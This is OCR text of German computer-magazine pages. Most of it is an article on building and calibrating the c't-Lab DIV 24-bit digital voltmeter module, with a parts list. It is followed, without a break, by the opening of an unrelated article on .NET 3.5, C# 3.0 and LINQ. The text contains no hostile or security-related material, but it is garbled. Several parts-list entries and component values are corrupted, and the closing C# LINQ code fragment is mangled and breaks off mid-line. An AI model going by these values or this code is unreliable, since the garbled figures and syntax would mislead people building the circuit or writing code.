Bei der niedrigen Messspannung 
von maximal 250 mV (für Strom- 
messungen werden sowohl AC- 
als auch DC-Verstärker auf 10- 
fache Verstärkung geschaltet) an 
den Shunts stören sie das Mess- 
ergebnis normalerweise nicht. 
Wenn impulsartige Wechselströ- 
me mit sehr hohem Crest-Faktor 
gemessen werden sollen, kön- 
nen die Dioden aber doch den 
Messwert beeinflussen; notfalls 
können Sie sie ganz weglassen, 
allerdings mit dem Nachteil 
eines fehlenden Schutzes für die 
Shunts. Die Sicherung sollte für 
die Absicherung von Multime- 
tern ausgelegt sein, solche (nicht 
ganz billigen) Typen weisen ein 
hohes Abschaltvermögen und 
ein schnelles Ansprechverhalten 
auf. 


Messlatte 


Ein Digitalvoltmeter kann nicht 
besser sein als seine Referenz - 
stimmt deren Spannung nicht 
oder ist sie unkonstant, wird 
auch das Messergebnis entspre- 
chend abweichen. Als Referenz- 
quelle dient unserem DIV ent- 
weder der schon von der AD16- 
8-Karte bekannte LT1019 oder 
eine etwas aufwendigere, aber 
driftärmere Schaltung aus einer 
hochstabilen Zenerdiode mit 
temperaturgeregelter Selbst- 
Beheizung (U8, LM399) und 
nachfolgendem, feinjustierba- 
rem Buffer (U5, OP-27). Pflege- 
leichter ist die integrierte Lösung 
mit dem LT1019; nur bei höheren 
zu erwartenden Temperatur- 
unterschieden im Betrieb ist die 
„diskrete” Schaltung mit dem 
LM399 vorzuziehen. Sie verlangt 
einen einmaligen Abgleich: Trim- 
mer R17 so einstellen, dass an 
TP1 (Pin 6 von U5) 2,50 V anlie- 
gen. Der genaue Wert ist hier 
nicht allzu kritisch, da die Kali- 
brierung der Gesamtschaltung 
später per Software erfolgt. Aus 
diesem Grund haben wir auch 
auf eine Trimmung des LT1019 
verzichtet. 

Der LM399 weist zwar eine 
äußerst geringe Temperatur- 
und Langzeit-Drift auf, seine 
Ausgangsspannung (rund 7 V) 
ist aber absolut gesehen wenig 
genau. Sollte der Einstellbereich 
von R17 nicht ausreichen, um 
auf eine Referenzspannung von 
2,5 Van TP1 zu kommen, muss 
R18 einen E24-Schritt kleiner 
oder größer gewählt werden 
(910 oder 750 2). Die größte Sta- 


bilität ergibt sich, wenn man den 
Wert von R17 nach erfolgter Ein- 
stellung ausmisst und R17 dann 
durch einen Festwiderstand (ggf. 
kombiniert aus zwei Widerstän- 
den in Reihe) ersetzt. Wegen der 
späteren Software-Kalibrierung 
sind leichte Abweichungen 
(möglichst nach oben) nicht kri- 
tisch. Natürlich darf nur eine der 
vorgeschlagenen Varianten be- 
stückt werden (entweder U3 
oder U5 plus U8). 


Magie in Silizium 

Der A/D-Wandler LTC2400 stellt 
immer noch ein faszinierendes 
Stück Technik dar, obwohl er 
schon über acht Jahre am Markt 
ist. Er arbeitet mit einem Delta- 
Sigma-Modulator dritter Ord- 
nung, ähnlich wie die Wandler 
aus der Digital-Audio-Technik. 
Das Verfahren bietet für den hie- 
sigen Anwendungsfall gegen- 
über den früher verwendeten 
Dual-Slope- oder Approxima- 
tionswandlern große Vorteile: 
Es ist schneller und in integrier- 
ter Form auch genauer als das 
über eine Zeitmessung arbei- 
tende Dual-Slope-Verfahren 
(zum Beispiel im DVM-Klassiker 
ICL7106), aber fast genauso un- 
empfindlich gegenüber Störun- 
gen auf dem Eingangssignal 
(zum Beispiel Netzbrumm). Und 
es benötigt keine aufwendige 
Filter- und Sample/Hold-Schal- 
tungen wie die gegenüber kur- 
zen Störungen sehr anfälligen 
Approximationswandler. 

Der LTC2400 unterdrückt mit 
seinem Wandlungsprinzip und 
einem zusätzlich eingebauten 
digitalen FIR-Filter Netzbrumm 
und dessen Oberwellen mit über 
110 dB, ebenso höhere Frequen- 
zen. Symmetrische Störungen 
(auch das Rauschen) auf dem 
Eingangssignal machen sich im 
Messergebnis deshalb kaum bis 
gar nicht bemerkbar: Alle Stö- 
rungen innerhalb einer Messpe- 
riode (0,166 Sekunden) werden 
wie bei einem analogen Instru- 
ment praktisch wegintegriert. 
Das „Frontend“ kann also relativ 
einfach gehalten werden, wie in 
der vorliegenden Schaltung. 

Trotzdem sind beim Einsatz 
des LTC2400 einige Dinge zu be- 
achten, denen wir mit dem Lay- 
out und dem Schaltungsdesign 
Rechnung getragen haben. Sein 
Eingang verträgt zwar durchaus 
Quellwiderstände von einigen 
kOhm, ist aber dann sehr emp- 
findlich gegenüber (auch parasi- 
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tären) Kapazitäten. Grund: Der 
geschaltete interne Kondensator 
am Eingang des Bausteins würde 
eine hier vorhandene Kapazität, 
die man vielleicht sogar wohl- 
meinend zur Störunterdrückung 
vorgesehen hat, während der 
Wandlungsperiode aufladen - 
was den Messwert verfälscht. 
Schon einige pF am Eingang wir- 
ken sich negativ auf die Genau- 
igkeit aus, wenn die Quellimpe- 
danz ein paar hundert Ohm 
überschreitet. 

Andererseits mussten wir hier 
einen Schutzwiderstand vorse- 
hen, damit der Eingang nicht bei 
versehentlich angelegten zu 
hohen Spannungen zerstört 
wird. Im Layout werden Sie den 
Schutzwiderstand R23 deshalb 
in kapazitätsarmer SMD-Ausfüh- 
rung wiederfinden, so nah wie 
möglich am Baustein platziert. 
Die Abblock-Kondensatoren C12 
und C13 sind ebenfalls als SMD- 
Bauteile ausgeführt, weil sie nur 
so besonders induktionsarm an- 
gekoppelt werden können. Stö- 
rungen, die Überschwinger auf 
den Steuerleitungen verursa- 
chen könnten, unterdrücken die 
Serienwiderstände R9 bis R11. 
Große Masseflächen um und 
unter dem LTC2400 sorgen für 
ein stabiles Bezugspotential - 
schließlich hat der Baustein nur 
einen gemeinsamen Masse- 
anschluss für seinen Analog- und 
Digitalteil. 


Zugeschaut und 
mitgebaut 


Der Baustein im SO-8-Gehäuse 
und die wenigen SMD-Bauteile 
in seiner Nähe können durchaus 
von Hand eingelötet werden. 
Verwenden Sie für alle Beinchen 
das gleiche Lötzinn, und säubern 
sie alle Lötstellen (auch drumhe- 
rum) sorgfältig mit Aceton. 
Flussmittelreste haben nicht sel- 
ten merkwürdige elektrische 
Eigenschaften, die sich im viel- 
stellligen Nachkomma-Bereich 
schon deutlich auswirken kön- 
nen. Bei sorgfältigem Aufbau 
erreicht der LTC2400 ohne Wei- 
teres eine Linearität „über alles” 
besser 4 ppm (0,0004 Prozent) 
bei einem „Eigenrauschen” 
(Fluktuieren des Messwerts) von 
weniger als 0,5 ppm - das ergibt 
rund 20 stabile Bits. 

Einige Punkte zum Aufbau 
haben wir bereits oben gestreift, 
und wer schon ein c't-Lab-Modul 
erfolgreich vollendet hat, sollte 
auch mit der vorliegenden 
Schaltung wenig Probleme 
haben. Besonderes Augenmerk 
verdienen hier allerdings die Löt- 
stellen um den Eingangsspan- 
nungsteiler: Sauberkeit ist hier - 
wie schon beim Wandler selbst - 
das höchste Gebot. Schon ein 
Fingerabdruck auf der Platine in 
der Nähe des Vorteilers kann sich 
negativ auf die Messgenauigkeit 
auswirken. Borstenpinsel, Baum- 


woll-Lappen und etwas Aceton 
helfen dagegen. 

Ist die Platine komplett be- 
stückt, kann nach dem Flashen 
der Firmware (siehe www.ct- 
lab.de) ein erster Funktionstest 
erfolgen (beides ohne aufgesetz- 
tes TRMSC-Modu!). Beim allerers- 
ten Start führt die DIV-Firmware 
zunächst eine Offset-Grundkali- 
brierung durch, die etwa 20 Se- 
kunden dauert - erkennbar am 
hörbaren Klickern der Relais und 
der Anzeige „OFS init“, wenn ein 
PM8-Panel angeschlossen ist. 
Die  Offset-Grundkalibrierung 
(die eine spätere genaue Einstel- 
lung nicht ersetzen soll) kann 
jederzeit erzwungen werden, 
wenn man den Drehgeber- 
Knopf am Bedienpanel beim Ein- 
schalten einige Sekunden ge- 
drückt hält. 

Als Default-Messbereich ist 
„2,5 V DC” eingestellt, mit die- 
sem sollten Sie auch den Ab- 
gleich beginnen - aber erst die 
Schaltung eine Viertelstunde 
warmlaufen lassen. Wenn Sie 
den DIV-Eingang mit einer 
Drahtbrücke kurzschließen, soll- 
te auch die PM8-Anzeige auf 
einen Wert sehr nahe Null zu- 
rückgehen (oder die im Lab- 
VIEW-Programm DIV-Abgleich.vi 
angezeigte Zahl). Mit DIV-Ab- 
gleich.vi gestaltet sich der Off- 
set- und Skalenfaktor-Abgleich 
relativ einfach - analog zum Ver- 
fahren, dass wir schon bei der 
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AD16-8-Steckkarte für ADA-IO 
beschrieben haben (c't 13/07, S. 
202, auch online unter www.ct- 
lab.de verfügbar). Möglicher- 
weise stimmen die mit der Off- 
set-Initialisierung gesetzten Off- 
set-Werte der einzelnen DC- 
Messbereiche schon recht 
genau und verlangen nur mini- 
male Korrekturen. Einen Anzei- 
ge-Wert von exakt Null werden 
sie wegen der immer auftreten- 
den Thermospannungen und 
der OpAmp-Drift nicht errei- 
chen, einige uV sind durchaus 
zulässig. 


Henne und Ei 


Der Skalenfaktor-Abgleich ist 
etwas aufwendiger: Sie benöti- 
gen hierfür eigentlich einen 
Multimeter-Kalibrator, es geht 
aber auch mit einer hochstabi- 
len, einstellbaren Spannungs- 
quelle (wie das DCG-Modul) zu- 
sammen mit einem möglichst 
frisch kalibrierten Digitalvolt- 
meter als Vergleichs-Referenz. 
Zur Not tut es auch ein D/A- 
Wandlerkanal der DA12-8-Karte, 
allerdings liefert der ja nur 
Spannungen bis 10 V. Anzustre- 
ben ist aber in jedem Mess- 
bereich eine Kalibrierung auf 
die Bereichs-Obergrenze, kurz 
bevor DIV ein Overload (OVRLO- 
AD auf der PM8-Anzeige, rote 
„Warnlampe“ beim DIV-Ab- 
gleichprogramm) liefert - etwa 
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Die DIV-Platine 
ist recht einfach 
zu bestücken, 
beste Ergeb- 
nisse werden 
aber nur mit 
sorgfältiger Ar- 
beit und pein- 
licher (Lötstel- 
len-)Sauberkeit 
erreicht. Beach- 
ten Sie die Hin- 
weise im Text 
zu den Refe- 
renzspannungs- 
Optionen. 
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Stückliste DIV 

Halbleiter 

u ATmega32 16MHz DIL 

u2 6N137 

u3 LT1019, REF-43 DIL 

4 LTC2400 508 

U5 OP-27 DIL (siehe Text) 

U6 LF411 DIL 

u7 DG419 DIL 

u8 LM399 (siehe Text) 

u9 ULN2003 oder ULN2803 DIL 

Q1,2 BC547B 

D1...D4 1N5401 

LED1 LED 3mm rot 

Passive Bauteile 

c1,2 22p RM2,5 

a1 1n FKP RM5 

c12,13 220n SMD 1206 

c14 11. 63V MKT RM5 

C16 101 25V Tantal 

c17 470p 1000V RM5 

G,4,7,9,10  100n ker. RM5 

6,6 Ay7 50V 

@& 471 10V Tantal 

RI A70R 

R2,3,9,10,11 220R 

R4,7 4k7 

R5, 6 6R8 

R8, 21,22,31,32 10k 

R12,14,16,24 2k7 

R13 10k Präz.-Trimmer W64 
(siehe Text) 

R15, 28, 33 22k 

R17 200R Präz.-Trimmer W64 

R18 820R (siehe Text) 

R19 10K. 0,1% 

R20 90K 0,1% 

R23 4K7 SMD 0806 

R25 OR Drahtbrücke 

R26 20K 0,1% 

R27 7k5 

R29, 30 1K. 0,1% 

R34 10R 2W 1% 

R35 1k 

R36 100k 0,1% 

R37 900K 0,1% 

R38 0,1R 1%, Isabellenhütte 
RM20 oder RM27,5 

R39 9M 0,1%, RM2O 

11 100uH axial 

Sonstiges 

FS1 Sicherung 2,5A FF mit Halter 

HV1 Überspannungsableiter 
EC350X Epcos 
B88069X08105102 

ae Jumper-Steckbrücken nach 
Bedarf 

M1 Wannen-Pfostenverbinder 
16-pol. (TRMSC-Modul) 

PL1 Wannen-Pfostenverbinder 
14-pol. 

PL2ÖS Wannen-Pfostenverbinder 
10-pol. 

PL6,7 Platinen-Steckverbinder 2-pol. 

PL8,9 2.x Anschlussklemme 2-pol. 
RMS5 oder 1x 4-pol. oder Lötpins 

SW1,7 DIL Reedrelais 1-pol. ein, 5V, 
z.B. Hamlin 721A05 

SW2Ö6 Min.-Relais 2-pol. um 12V, z.B. 
Omron G5V-2 12VDC oder SDS 
DS2E-M-DC12V 

XTALI 16 MHz HCA9U 
Befestigungsmaterial für Front- 
platte und Abschirmplatte 
Platine DIV (eMedia, Segor) 
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bei 240 mV, 2,4 V, 24 V und 
240 V. Letztere Spannung lässt 
sich aber ohne üppige Messla- 
bor-Ausstattung kaum vernünf- 
tig darstellen; entweder neh- 
men Sie hier den gleichen Ska- 
lenfaktor wie im 2,5-V-Bereich 
und verlassen sich auf die Ge- 
nauigkeit des Eingangs-Span- 
nungsteilers (engere Toleran- 
zen als 0,1 Prozent sind aller- 
dings sehr teuer und schwer zu 
bekommen) oder Sie kalibrieren 
hier mit der höchsten Ihnen zur 
Verfügung stehenden Gleich- 
spannung (z. B. 60 V von zwei iin 
Reihe geschalteten DCG) und 
verzichten auf das letzte Quänt- 
chen Genauigkeit beim Skalen- 
endwert. 

Mit einem DCG als Abgleich- 
Hilfsmittel sollte auch die Kali- 
brierung der DC-Strombereiche 
250 uA bis 2,5 A rasch gelingen. 
Die Einstellung im unteren Be- 
reich wird durch Serienschaltung 
eines Widerstandes (10 kQ in 
Serie zum Referenz-Multimeter 
und zum DIV) erleichtert; man 
stellt dann die Spannung am 
DCG oder Labornetzteil so ein, 
dass sich ein Strom von 240 uA 
durch die Reihenschaltung er- 
gibt. Wie beim Spannungs-Ab- 
gleich ist die absolute Höhe des 
Wertes nicht entscheidend, son- 
dern die gleiche Anzeige von 
Referenz-Multimeter und DIV. 

Etwas kniffliger ist allerdings 
der AC-Abgleich: Spannungen 
bis 8 Ver kann zwar das DDS- 
Modul erzeugen, darüber hinaus 
und für die AC-Strombereiche 
kommt für die meisten Anwen- 
der wohl aber nur ein Netztrafo 
mit geeigneter oder regelbarer 
Ausgangsspannung in Frage 
(z. B. Märklin-Modellbahntrafo) - 
wobei zu beachten ist, dass die 
Netzwechselspannung auch 
kurzfristig recht großen Schwan- 
kungen unterliegt, sodass man 
Referenz-Voltmeter und DIV 


gleichzeitig im Auge behalten 
muss. Vor der Software-Kalibrie- 
rung ist ein Vorabgleich der 
TRMSC-Verstärkung notwendig: 


Stückliste 
TRMSC-Anderungen 
R3 27k 

R7 10k 

R8 82k 

R10 82 

R11 1k 

R2O 27k 

Jp2 Jumper gesteckt 

PL3,4,5 entfällt 


PL2 abgeschirmte Verbindung zu DIV PL7 


Am DIV den „AC 2,5 V”-Bereich 
wählen (mit dem Befehl RNG=5! 
oder am Panel), dann 2,5 Ver 
Wechselspannung am DIV-Ein- 
gang anlegen, am besten gelie- 
fert vom DDS-Modul. Trimmer 
R6 so einstellen, dass sich an TPA 
auf der TRMSC-Platine eine 
Gleichspannung von 2,500 V ge- 
genüber Masse einstellt, ebenso 
R4 für die gleiche Spannung an 
TP5. 

Der Messgleichrichter des 
TRMSC-Aufsatzes liefert unver- 
meidlicherweise auch ohne Ein- 
gangsspannung schon einige 
mV, abhängig vom Störpotential 
der Umgebung, seiner Abschir- 
mung und dem Rauschen seines 
Hardware-Eingangsverstärkers. 
Dieses Grundrauschen durch 
Offset-Kompensation wegmo- 
geln zu wollen ist keine so gute 
Idee, denn dann stimmt die 
ganze Skala nicht mehr. Die amt- 
liche, recht zeitaufwendige Lö- 
sung besteht darin, den Mess- 
wert bei knapp „Vollausschlag“ 
und bei einer Eingangsspan- 
nung von etwa einem Zehntel 
des Messbereiches iterativ zu ka- 
librieren: Offset-Einstellung (na- 
türlich nicht auf Null, sondern 
auf den Messwert) bei kleiner 
Eingangsspannung, Skalierung 
bei hoher Eingangsspannung 
innerhalb eines Bereiches, und 
das Ganze so lange wiederholen, 
bis beide Werte stimmen. Damit 
erübrigt sich auch die Hardware- 
Offset-Einstellung auf der 
TRMSC-Platine (R5). Beim 250- 
WA-Bereich greift man wieder 
zum Trick mit dem Vorwider- 
stand - hier am besten durch 
Messen der daran abfallenden 
Spannung mit dem Referenz- 
Multimeter (dessen paralleler 
Eingangswiderstand natürlich in 
die Stromberechnung über das 
Ohm’sche Gesetz mit einfließen 
muss). Abschließend sollten 
noch die schnellen Messberei- 
che mit 10 Bit Auflösung auf die 
gleiche Weise kalibriert werden, 
wobei man sich hier deutlich 
schneller an die optimalen Werte 
herantastet. 


Stunden später ... 


Zugegeben ist der Abgleich mit 
dem TRMSC-Messgleichrichter 
nicht ganz einfach, aber die 
Mühe wird belohnt. Als Messka- 
näle bietet das DIV-Modul nicht 
nur die präzisen Werte vom 24- 
Bit-Wandler, sondern auch noch 
quasi parallel verarbeitete Werte 
des ATmega-internen Wandlers 


für überschlägige oder Trend- 
Messungen (VAL 10? und 
VAL 11?). Interessant dürfte 
dabei der AC-Peak-Kanal (VAL 
11?, siehe auch Syntax-Tabelle 
unter „DIV” auf www.ct-lab.de) 
sein, der für Audio-Messungen 
mit dynamischen Signalen (z. B. 
Aussteuerung) besser geeignet 
ist als der True-RMS-Kanal - weil 
er deutlich schneller auf Ände- 
rungen anspricht. Das prädesti- 
niert ihn zum Beispiel für Fre- 
quenzgang-Messungen an Fil- 
tern und dergleichen in Verbin- 
dung mit dem DDS-Modul. 

Für allgemeine Messungen 
mit dem 24-Bit-Wandler stehen 
vier Kanäle zur Verfügung: 
VAL 0? bis VAL 2? stellen unter- 
schiedliche Integrations-Level 
zur Verfügung (VAL 0? ohne, 
VAL 1 mit schneller, VAL 2? mit 
langsamer Messwert-Integra- 
tion). VAL 3? wartet immer auf 
das Ende einer neuen Wandlung 
und benötigt deshalb rund 
180 ms zur Ausführung. Auf das 
gegebenenfalls angeschlossene 
Panel gelangen immer die (ste- 
tig ermittelten) Werte der ersten 
Integrationsstufe (VAL 1?), wo- 
mit sich eine ruhige, „analoge“ 
Anzeige ergibt. 

Der Display-Integrationsmo- 
dus lässt sich übrigens (wie auch 
der Default-Messbereich) über 
eigene Parameter einstellen 
(nichtflüchtige Speicherung im 
EEPROM, siehe Syntax-Tabelle); 
DIV merkt sich den aktuellen 
Messbereich auch manuell, 
wenn man kurz auf den Drehge- 
ber-Knopf drückt. Für Diagnose- 
und Kalibrierungszwecke kann 
man wie bei ADA-IO auch auf die 
Wandler-Rohdaten zugreifen, 
davon macht beispielsweise das 


DIV-Abgleichprogramm regen 
Gebrauch. 
Noch zu erwähnen ist die 


Handhabung des Trigger-Ein- 
gangs: Hier kann beispielsweise 
ein Taster oder ein Schaltkon- 
takt angeschlossen werden, der 
eine Messung auch ohne expli- 
zite Anfrage vom Rechner aus- 
löst. Der Eingang ist TTL-kompa- 
tibel, die Schaltflanke lässt sich 
über die Trigger-Parameter 
(siehe DIV-Syntax) steuern. Mit 
der Triggermaske legt man fest, 
welche der Messkanäle bei Trig- 
gerung ausgegeben werden sol- 
len, und wie bei ADA-IO gibt es 
auch einen Trigger-Timer für 
automatisch wiederholte Mess- 
Ausgaben in einem festen Zeit- 
raster (TRT-Einstellung in Milli- 
sekunden). (cm) 
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Praxis | Messen, Steuern, Regeln 


Vergleichsweise wenig Elektronik, aber viele Relais: Die DIV-Schaltung arbeitet mit 
einem 24-Bit-Wandler in Delta-Sigma-Technik. Der optionale True-RMS-Konverter 
wird an Steckverbinder M1 angeschlossen. Der 10A-Eingang ist nicht abgesichert 
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Rudolf Huttary 


LINOsdrall 


Was .NET 3.5 an Neuem bringt 


Während .NET 3.0 mit seinen vier neuen Spielern WPF, WCF, WF und WCS 
wegen verschiedener Fehlpässe und mangelnder Rückendeckung in den 
eigenen Reihen eine eher schwache Saison spielte, gibt der Tabellenstürmer 
.NET 3.5 ein wesentlich stimmigeres Bild ab. 


rößere .NET-Launches finden im Unter- 

schied zum sturen Vierjahresrhythmus 

von Fußball-WM oder -EM eher alle 
drei Jahre statt. So lange nämlich dauert im 
Schnitt der übliche Produktzyklus bei Micro- 
soft. Nur leider stimmt diese auf den gewöhn- 
lichen Investitionszyklus ausgerichtete Zeit- 
spanne nicht immer mit dem Entwicklungs- 
zyklus überein - nicht umsonst lautet der kür- 
zeste Programmiererwitz: „Ich hab’s gleich“. 
Damit es zeitlich dann doch irgendwie hin- 
kommt, wird hier ein wenig abgelastet und 
dort ein wenig umgefeatured. Das ursprüng- 
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lich angekündigte Produkt erscheint dann 
erst nachträglich als untergeordnetes Update 
- wie derzeit gerade .NET 3.5. 


Anpfiff 


Dabei zeigt ein Blick in die noch recht kurze 
Versionshistorie von .NET, dass es bis zur 
Version 2.0 an sich ganz glatt lief. Der tech- 
nologische Anpfiff im Jahre 2002 spannte 
das bewährte Dreieck aus Sprachstandard 
(Intermediate Language, C# 1.0, Visual Basic 
.NET), Sprachumgebung (.NET-Framework) 


und Entwicklungswerkzeug (Visual Studio 
.NET) in beeindruckender Manier auf - trotz 
der gerade in den Reihen der Kunden als 
rotes Tuch angesehenen Versionsnummer 
1.0 ein fulminanter Auftakt im Bereich der 
innovativen Windows- und Webprogram- 
mierung. Ein Jahr später folgte die zuse- 
hends gereifte Version 1.1 mit zahlreichen 
Bugfixes, Nachbesserungen und auch Nach- 
reichungen am Framework (besonders für 
ASP 1.1), zusammen mit einem nun auch um 
C++ und Visual J# .NET frisch aufgebrezelten 
Visual Studio 2003. 

Knapp drei Jahre später erhielt der im We- 
sentlichen um Generics, partielle Datentypen, 
anonyme Methoden und nullbare Elementar- 
typen angereicherte Sprachstandard C# 2.0 
einen sprachunabhängigen Implementa- 
tionskern im .NET Framework 2.0. Die ande- 
ren .NET-Hauptsprachen zogen mit, wobei Vi- 
sual Basic mit den My-Funktionen punkten 
konnte. Auch das in die Jahre gekommene 
C++ konnte im frisch geschneiderten CLI-Tri- 
kot seine überlegene Ausdruckskraft in der 
verwalteten Welt des .NET-Objektmodells 
neu unter Beweis stellen. Ansonsten, wo man 
auch hinsah, überarbeitete Bibliotheken: 
ADO 2.0, ASP.NET 2.0, Webservices 2.0, und 
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selbst das .NET Compact Framework zog 
unter Auslassung der 1.1 zur 2.0 nach. 

Dazu überzeugte Visual Studio 2005 
durch einen stark verbesserten Debugger 
sowie etliche neue Designfunktionen, Assis- 
tenten und Vorlagen. Aufgrund der bis dahin 
auffallend zurückhaltenden Rezeption von 
‚NET nahm Microsoft jedoch eine stärkere 
Aufspreizung des im Grunde genommen 
einzigen Verkaufsprodukts der Technologie 
in fünf nicht nur preislich stark abgestufte 
Editionen vor. 

Am unteren Ende stehen die Express-Edi- 
tionen, in denen das mächtige Werkzeug auf 
Einzelsprachen beziehungsweise Einzeltech- 
nologien hin ausgebeint ist. Es war zuerst 
fraglich, ob diese für Einsteiger, Schüler und 
Studenten gedachten Versionen länger als 
das ursprünglich angekündigte Jahr kosten- 
los bleiben würden. Die neuerliche Auflage 
[1] dieser Produktpolitik für Visual Studio 
2008 drei Jahre später zeigt, dass das Ex- 
press-Konzept offenbar aufgeht: Wer im lee- 
ren Rang sitzt, nimmt niemandem den Platz 
weg, bringt beim nächsten Mal aber viel- 
leicht seine Freunde mit. 


Zweite Halbzeit 


Als dann Ende 2006 im Gefolge von Vista ein 
noch recht verschlafenes .NET 3.0 auf den 
Rasen musste, fühlten sich die Fans doch ein 
wenig düpiert: Ausgefeilt und gerade mit 
Bezug auf Vista auch wegweisend waren sie 
ja, die vier neuen Stürmer, namentlich die 
Windows Presentation Foundation (WPF), 
die Windows Communication Foundation 
(WCF), die Workflow Foundation (WF) und 
der Windows Card Space (WCS), doch wo 
war der Rest der bewährten Dreieinigkeit ab- 
geblieben? Trotz einer Reihe nachgereichter 
Add-ons für Visual Studio und Anpassungen 
für Vista war an eine ernsthafte Entwicklung 
mit .NET 3.0 kaum zu denken. So wartete 
man auf das Erscheinen von Orcas, wie der 
Codename von Visual Studio 2008 bis vor 
kurzem noch lautete. Ohne Vista wäre aus 
.NET 3.5, das der Hauptversion die beiden 
fehlenden Komponenten - die Implementie- 
rung der C#-3.0-Sprachspezifikation und das 
Entwicklungswerkzeug - nun gewisserma- 
ßen hinterherträgt, wohl selbst die Haupt- 
version geworden. 

Es sei nachgetragen und auch gleich vor- 
ausgeschickt, dass die CLR 2.0, also das zu 
.NET 2.0 gehörende Laufzeitsystem, nach wie 
vor den Kern von .NET bildet und bisher le- 
diglich ein Service Pack auf dem Buckel hat. 
Dank der modularen Architektur werden 
(vorerst) eher die oberen Stockwerke des Ge- 
bäudes weiter ausgebaut. Mit der überlege- 
nen Versionierung von .NET sind Nachrei- 
chungen allerdings auch kein großer Akt. 


Alte Herren 


Vor diesem Hintergrund erscheint es eher als 
Selbstverständlichkeit, wenn Visual Studio 
2008 die Gelegenheit beim Schopfe packt 
und neben .NET 3.5 auch noch die alten Wel- 
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Visual Studio 
2008 bringt für 
die Element- 
vorlage „LINQ to 
SQL-Klasse” 
einen neuen 
visuellen DBML- 
Designer mit. 
Damit ist das 
Modell für den 


typisierten SQL- 
Datenzugriff per 
LINQ to SQL 


ten .NET 2.0 und NET 3.0 feilbietet, wann 
immer ein neues Projekt aus der Taufe geho- 
ben wird. Und wenn Microsoft in seiner Pres- 
semeldung zum Marktstart von .NET 3.5 und 
Visual Studio 2008 herumtönt, man könne 
nun mit Projekten, die „auf veralteten .NET- 
Framework-Versionen (ab Version 2.0) basie- 
ren, auch Nutzen aus den neuen Sprachmög- 
lichkeiten ziehen“, dann klingt das fast wie 
Hohn, denn billiger geht es ja nun wirklich 
nicht: Wir verwenden den schicken neuen 
Compiler und blenden einfach alle Bibliothe- 
ken aus, deren Versionsnummer größer als 
die gewählte .NET-Version ist. 

Denn allzu wörtlich darf man die Meldung 
nicht nehmen: Klingt ja fast so, als könne 
man nun auch in .NET-2.0-Projekten mit den 
Sahne-Features von C# 3.0, also LINQ-Aus- 
drücken und Erweiterungsmethoden, nur so 
um sich werfen. Genau diese bleiben aber - 
eben wegen der fehlenden 3.5er-Bibliothe- 
ken - außen vor. Der Rest aber geht, denn 
der steckt im Compiler: partielle Methoden, 
automatische Eigenschaften, anonyme 
Typen, implizite Typisierung und Typinferenz 
samt Lambda-Ausdrücken - dazu gleich 
noch Ausführlicheres. 

Webprogrammierern, die viel mit Java- 
Script respektive AJAX-Techniken arbeiten, 
sei ein anderes ziemlich cooles neues Fea- 
ture von Visual Studio 2008 nicht vorenthal- 
ten: Quellcode-Debugging für JavaScript. Es 
geschehen eben noch Zeichen und Wunder. 


Indirekter Freistoß 


Als größtes Sorgenkind entpuppte sich 
beim Entwickeln mit .NET 3.0 die WPF. Schon 
dass die von ihr verwendete Oberflächen- 
beschreibungssprache XAML ohne Design- 
werkzeug praktisch nicht handhabbar ist, ein 
brauchbares Tool aber zunächst nur Grafik- 
schaffenden im Rahmen der Expression- 
Suite angeboten wurde, war ein grobes Foul 
für so manch zarte Programmiererseele und 
verdient daher mindestens Gelb. 

Auch auf der Ausführungsseite war der 
Nachbesserungsbedarf bei der frisch geba- 
ckenen WPF nicht unerheblich [2] - und ist 
immer noch nicht ganz ausgestanden. Einer 
Reihe von Kundenwünschen und den von 
vielen Seiten beklagten Störungen in WPF- 
Animationen trägt das im Gefolge von .NET 


schnell zu- 
sammenge- 
klickt. 


3.5 erschienene Service Pack 1 zu .NET 3.0 
Rechnung. 

Schlimmer war jedoch, dass neben dem 
schier unersättlichen Speicherhunger vor 
allem die generelle Ausführungsgeschwin- 
digkeit von WPF-Anwendungen ins Gerede 
geraten war. So wurde häufig von massiven 
Performance-Einbrüchen berichtet, die ein- 
deutig auf das Konto der AllowsTransparency-Ei- 
genschaft gingen - auch unter Vista. Obwohl 
die Transparenz in der WPF-Implementation 
von .NET 3.0 unter Windows XP und Server 
2003 erklärtermaßen nur als Software-Emu- 
lation verfügbar ist, wunderte man sich hier 
zwar weniger, war aber nicht weniger ge- 
nervt. ‚NET 3.5 birgt nun - bei geeigneter 
Hardwareausstattung - auch für diese Syste- 
me die Möglichkeit einer Hardwarebeschleu- 
nigung durch die GPU. Für alle drei Plattfor- 
men bietet Microsoft seit August ein „unter- 
stütztes Hotfix“ an [3, 4], das in Absprache 
mit dem MS-Support interaktiv und indi- 
viduell für die betroffene Maschine zu- 
sammengestellt wird. Eine systematische Lö- 
sung ist allerdings auch hier erst mit den 
nächsten Service Packs zu erwarten. 

Aber auch dem umgekehrten Effekt, näm- 
lich dass die Emulation in bestimmten Fällen 
und Konstellationen schneller ist als die 
Hardwarebeschleunigung, begegnet .NET 
3.5 durch eine neue RenderMode-Eigenschaft 
des HwndTarget-Objekts, deren Wert bestimmt, 
ob das Rendering per Emulation oder per 
Hardware geschieht. Bisher war diese Ent- 
scheidung ja fest gemauert in den Erden der 
Registry [5]. 


Nachwuchsspieler 


Zentrales Feature von .NET 3.5 ist ohne Zwei- 
fel die Implementation des neuen Sprach- 
standards C# 3.0, die, wie schon angedeutet, 
zum Teil im Compiler und zum Teil in der 
Klassenbibliothek steckt. Erwartungsgemäß 
floss der Standard ungebremst auch in die 
neue Sprachdefinition von Visual Basic 2008 
ein. Der Gleichstand bleibt also. 

Zielsetzung für C# 3.0 war der Wunsch, eine 
Abfragesprache in den Sprachumfang zu in- 
tegrieren, die es ermöglicht, mengenorientier- 
te Operationen über relationalen Strukturen 
auszuführen. Als Vorbild fungierte SQL, her- 
aus kam LINQ (Language Integrated Query). 
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Btatic void Ling2Xml() 
t 
%Element xel = XElement.Load(@"..\..\contacts. ml"); 
var erg = from xnode in xel.Elements("contact") 
where xnode.Attribute ("name”).Value == "Andrea” 
select xnode; 
} 
static void Ling2Dataset() 
f 


Cust2ProdData9et c2pds = new Cust2ProdDataset(); 
da.Fill(c2pds.Customers); 
var a = from c in c2pds.Customers 
where c.City == "Berlin" 
select e.ContactName; 
} 
static void Ling2Sql() 
f 


var contextl = new System.Data.Ling.Datalontext(esl); 
Cust2ProdDataContext ne = new Cust2ProdDataContext(); 


// welche Kunden haben welche Produkte bestellt? 


var a = SustProdg; 


© # Non-Public members 


Static void Ling2cQ, PResuts View 


var Termine = new 


System.Data.SqlClient.SylDataAdapter da = new System.Data.SqlClient. SqlDataAdapter ("select * 
